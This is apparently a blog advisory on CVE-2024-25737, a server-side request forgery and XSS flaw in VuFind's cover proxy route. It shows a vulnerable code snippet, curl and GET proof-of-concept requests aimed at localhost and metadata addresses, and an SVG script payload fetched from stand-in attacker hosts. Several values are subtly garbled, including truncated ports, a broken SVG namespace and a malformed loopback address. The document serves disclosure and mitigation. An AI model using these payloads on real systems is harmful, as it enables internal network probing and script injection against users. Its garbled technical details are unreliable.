CVE-2024-25737 - Exploiting SSRF and XSS in VuFind’s /Cover/Show Route

On February 2024, a critical security issue, CVE-2024-25737, was publicly disclosed. This vulnerability affects the /Cover/Show route in the popular library discovery platform, VuFind. If you run any VuFind instance from version 2.4 through 9.1 (before 9.1.1), your system could be at risk! This long read will break down what the SSRF problem means, how it’s exploited, show you some code examples, reference the official reports, and help you with mitigation advice.

What is VuFind?

VuFind, by Open Library Foundation, is a flexible, open source discovery layer for libraries, designed to enable users to search and browse resources. It’s deployed worldwide at universities and other institutions.


## Vulnerability: SSRF in /Cover/Show

The core problem lies in the /Cover/Show endpoint (handled in showAction inside CoverController.php) which fetches images from external sources—like book covers.

What is SSRF?

Server-Side Request Forgery (*SSRF*) is a type of security flaw where an attacker abuses a server’s ability to make HTTP requests to unintended locations (often private or internal services), using parameters they control.

Where’s the problem?

If you make a GET request to /Cover/Show?proxy=https://example.com/cover.jpg, the controller tries to download and display whatever’s at example.com/cover.jpg—without proper checks.

This lets an attacker

- Connect to internal resources (e.g., http://localhost:920, http://169.254.169.254) that should not be accessible.
- Proxy malicious JavaScript or images, enabling Stored/Reflected XSS if the result is directly embedded in pages.

Vulnerability Scope

- Affected component: /Cover/Show route → showAction method of CoverController.php

The impacted logic looks like this (*simplified* for clarity)

// CoverController.php (snippet)
public function showAction()
{
    $proxyUrl = $this->params()->fromQuery('proxy');
    if ($proxyUrl) {
        // No validation on URL!
        $imageContent = file_get_contents($proxyUrl);
        return $this->streamImage($imageContent);
    }
    // ... other logic
}

No validation is done here to limit requests to allowed or whitelisted hosts! An attacker can supply an arbitrary URL.

Realistic SSRF Attack Example

Say your organization’s internal admin dashboard runs at http://localhost:808/admin.

An attacker from outside could fetch internal content by sending

GET /Cover/Show?proxy=http://localhost:808/admin HTTP/1.1
Host: yourlibrary.edu

This could expose sensitive internal data—that should never be public.

XSS Chain Example

If an attacker hosts a "cover.jpg" that actually serves HTML/JS instead of an image, it could be rendered inline (if not properly content-typed or sanitized), which can lead to a Cross Site Scripting (XSS) attack.

Example

// Attacker's server returns
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/200/svg">;
  <script>alert('XSS')</script>
</svg>

Request

GET /Cover/Show?proxy=https://evil.com/evil.svg

When the browser receives this SVG, the script executes!

SSRF PoC

curl "https://victimlibrary.edu/Cover/Show?proxy=http://localhost:808/admin"

Upload a malicious SVG (as shown above) to attacker.com, then

https://victimlibrary.edu/Cover/Show?proxy=https://attacker.com/payload.svg

References

- CVE-2024-25737 at MITRE
- VuFind Release Notes
- See *Security: SSRF in Cover/Show/Proxy parameter (CVE-2024-25737)*
- SSRF Explained (OWASP)

Validate and sanitize URLs: Strip "localhost", 127...1, "internal" CIDRs, etc.

- Sanitize output: Always serve untrusted files as application/octet-stream or via Content-Disposition headers.
- Monitor Logs: Watch for suspicious access to /Cover/Show.

Conclusion

CVE-2024-25737 underlines the critical nature of validating all user inputs—especially those that interact with external resources. SSRF flaws can grant attackers a bridge into your private network and, in the right misuse cases, can even deliver full-fledged XSS payloads to users. If you're running VuFind, patch today and audit any similar "proxy" features elsewhere in your apps!


*Stay safe and keep your stack secure! Share this with your sysadmin or library IT team if you use VuFind!*

Timeline

Published on: 05/22/2024 19:15:08 UTC
Last modified on: 11/12/2024 19:35:06 UTC